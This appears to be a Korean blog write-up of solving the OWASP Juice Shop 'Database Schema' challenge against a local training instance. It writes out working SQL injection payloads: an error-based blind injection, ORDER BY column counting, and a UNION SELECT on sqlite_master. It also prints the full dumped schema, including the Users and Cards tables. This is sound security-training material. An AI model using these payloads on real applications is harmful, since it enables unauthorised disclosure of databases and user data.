OWASP Juice Shop - Database Schema

 

Exfiltrate the entire DB schema definition via SQL Injection. 직역하면 SQL Injection을 통하여 DB 스키마의 정의어를 가져오라는 의미이다. 

 

SQLi를 시도해 볼 수 있는 공격 벡터는 크게 로그인과 상품 검색 두 가지 었지만 로그인 부분은 일단 SQLi를 통해 원하는 결과를 가져오지 못하므로 일단 패스하였다. (그리고 이런 문제 유형의 공격 벡터는 주로 검색 페이지인 경우가 많았었다.)

 

주제와는 상관 없지만 계정 페이지에는 ERROR BASED를 이용하는 블라인드 SQLi 가능성은 있었다. 

jim@juice-sh.op' AND CASE WHEN (select 1 from Users where email='jim@juice-sh.op') THEN 1 ELSE load_extension(1) END;

 

 

상품 검색 페이지에서 일부로 싱글 쿼터(')를 보내보았지만 예상과 달리 오류 같은 게 없었다. 

 

그런데 알고 봤더니 진짜 요청은 rest API로 따로 보내는 거였으며 입력한 키워드는 클라이언트 단에서 필터링이 되는 것이다. 

 

분명 싱글 쿼터를 포함했지만 rest API로 보낼 때는 제외가 된다. 

 

아무튼 직접 쿼리문을 보낼 때는 /rest/products/search?q={원하는 키워드} 주소로 보내는 것이 필요하다. 

 

 

다음은 fetch 함수로 ';를 파라미터 값으로 보낸 결과이다. 

fetch("http://localhost:3000/rest/products/search?q=';", {
  "headers": {
    "accept": "application/json, text/plain, */*",
    "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
    "if-none-match": "W/\"327b-kS3UAdqjlU4WDQqUi0PJpKmLrk8\"",
    "proxy-connection": "keep-alive",
    "sec-ch-ua": "\"Chromium\";v=\"117\", \"Not;A=Brand\";v=\"8\"",
    "sec-ch-ua-mobile": "?0",
    "sec-ch-ua-platform": "\"Windows\"",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin"
  },
  "referrer": "http://localhost:3000/",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": null,
  "method": "GET",
  "mode": "cors",
  "credentials": "include"
});

 

응답:

{
  "error": {
    "message": "SQLITE_ERROR: near \";\": syntax error",
    "stack": "Error: SQLITE_ERROR: near \";\": syntax error",
    "errno": 1,
    "code": "SQLITE_ERROR",
    "sql": "SELECT * FROM Products WHERE ((name LIKE '%';%' OR description LIKE '%';%') AND deletedAt IS NULL) ORDER BY name"
  }
}

 

상품 검색 SQL

SELECT * FROM Products WHERE ((name LIKE '%{p파라미터값}%' OR description LIKE '%{p파라미터값}%') AND deletedAt IS NULL) ORDER BY name

실제 사용하는 SQL을 알았으니 인젝션을 해주기만 하면 된다. 

 

 

우선 컬럼의 개수를 알아내기 위해 ORDER BY를 1부터 계속 늘려서 입력하는데 10에서부터 다음과 같은 오류가 발생했다. 

http://localhost:3000/rest/products/search?q=)')) ORDER BY 10 LIMIT 1,1;

 

응답: 

{
  "error": {
    "message": "SQLITE_ERROR: 1st ORDER BY term out of range - should be between 1 and 9",
    "stack": "Error: SQLITE_ERROR: 1st ORDER BY term out of range - should be between 1 and 9",
    "errno": 1,
    "code": "SQLITE_ERROR",
    "sql": "SELECT * FROM Products WHERE ((name LIKE '%)')) ORDER BY 10 LIMIT 1,1;%' OR description LIKE '%)')) ORDER BY 10 LIMIT 1,1;%') AND deletedAt IS NULL) ORDER BY name"
  }
}

"should be between 1 and 9" 칼럼의 범위는 9까지라고 한다. 

 

 

실제 1부터 9까지 SELECT를 UNION 해주니 아래와 같은 정상적인 응답이 오게 된다. 

http://localhost:3000/rest/products/search?q=)')) UNION SELECT 1,2,3,4,5,6,7,8,9 LIMIT 1;

 

 

응답:

{
    "status": "success",
    "data": [
        {
            "id": 1,
            "name": 2,
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        }
    ]
}

 

 

 

이제 남은건 스키마 정보를 가져오는 것인데 sqlite에서 스키마 정보를 담고 있는 테이블은 "sqlite_master"이다. 

"sql" 칼럼을 사용하면 실제 테이블에 사용된 정의어를 가져올 수 있으며 "name" 칼럼을 사용하면 테이블의 이름 결과가 출력된다. 

http://localhost:3000/rest/products/search?q=!')) UNION SELECT sql,name,3,4,5,6,7,8,9 FROM sqlite_master;

 

응답: 

{
    "status": "success",
    "data": [
        {
            "id": null,
            "name": "sqlite_autoindex_BasketItems_1",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": null,
            "name": "sqlite_autoindex_SecurityAnswers_1",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": null,
            "name": "sqlite_autoindex_Users_1",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Addresses` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `fullName` VARCHAR(255), `mobileNum` INTEGER, `zipCode` VARCHAR(255), `streetAddress` VARCHAR(255), `city` VARCHAR(255), `state` VARCHAR(255), `country` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Addresses",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `BasketItems` (`ProductId` INTEGER REFERENCES `Products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `BasketId` INTEGER REFERENCES `Baskets` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, UNIQUE (`ProductId`, `BasketId`))",
            "name": "BasketItems",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Baskets` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `coupon` VARCHAR(255), `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Baskets",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Captchas` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `captchaId` INTEGER, `captcha` VARCHAR(255), `answer` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Captchas",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Cards` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `fullName` VARCHAR(255), `cardNum` INTEGER, `expMonth` INTEGER, `expYear` INTEGER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Cards",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Challenges` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `key` VARCHAR(255), `name` VARCHAR(255), `category` VARCHAR(255), `tags` VARCHAR(255), `description` VARCHAR(255), `difficulty` INTEGER, `hint` VARCHAR(255), `hintUrl` VARCHAR(255), `mitigationUrl` VARCHAR(255), `solved` TINYINT(1), `disabledEnv` VARCHAR(255), `tutorialOrder` NUMBER, `codingChallengeStatus` NUMBER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Challenges",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Complaints` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `message` VARCHAR(255), `file` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Complaints",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Deliveries` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` VARCHAR(255), `price` FLOAT, `deluxePrice` FLOAT, `eta` FLOAT, `icon` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Deliveries",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Feedbacks` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `comment` VARCHAR(255), `rating` INTEGER NOT NULL, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Feedbacks",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `ImageCaptchas` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `image` VARCHAR(255), `answer` VARCHAR(255), `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `createdAt` DATETIME, `updatedAt` DATETIME NOT NULL)",
            "name": "ImageCaptchas",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Memories` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `caption` VARCHAR(255), `imagePath` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Memories",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `PrivacyRequests` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `deletionRequested` TINYINT(1) DEFAULT 0, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "PrivacyRequests",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Products` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` VARCHAR(255), `description` VARCHAR(255), `price` DECIMAL, `deluxePrice` DECIMAL, `image` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `deletedAt` DATETIME)",
            "name": "Products",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Quantities` (`ProductId` INTEGER REFERENCES `Products` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `limitPerUser` INTEGER DEFAULT NULL, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Quantities",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Recycles` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `AddressId` INTEGER REFERENCES `Addresses` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `isPickup` TINYINT(1) DEFAULT 0, `date` DATETIME, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Recycles",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `SecurityAnswers` (`UserId` INTEGER UNIQUE REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `SecurityQuestionId` INTEGER REFERENCES `SecurityQuestions` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `answer` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "SecurityAnswers",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `SecurityQuestions` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `question` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "SecurityQuestions",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Users` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR(255) DEFAULT '', `email` VARCHAR(255) UNIQUE, `password` VARCHAR(255), `role` VARCHAR(255) DEFAULT 'customer', `deluxeToken` VARCHAR(255) DEFAULT '', `lastLoginIp` VARCHAR(255) DEFAULT '0.0.0.0', `profileImage` VARCHAR(255) DEFAULT '/assets/public/images/uploads/default.svg', `totpSecret` VARCHAR(255) DEFAULT '', `isActive` TINYINT(1) DEFAULT 1, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `deletedAt` DATETIME)",
            "name": "Users",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE `Wallets` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `balance` INTEGER DEFAULT 0, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
            "name": "Wallets",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        },
        {
            "id": "CREATE TABLE sqlite_sequence(name,seq)",
            "name": "sqlite_sequence",
            "description": 3,
            "price": 4,
            "deluxePrice": 5,
            "image": 6,
            "createdAt": 7,
            "updatedAt": 8,
            "deletedAt": 9
        }
    ]
}

 

참고: 

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#integerstring-based---extract-table-name

https://stackoverflow.com/questions/6460671/sqlite-schema-information-metadata

SQLite Schema Information Metadata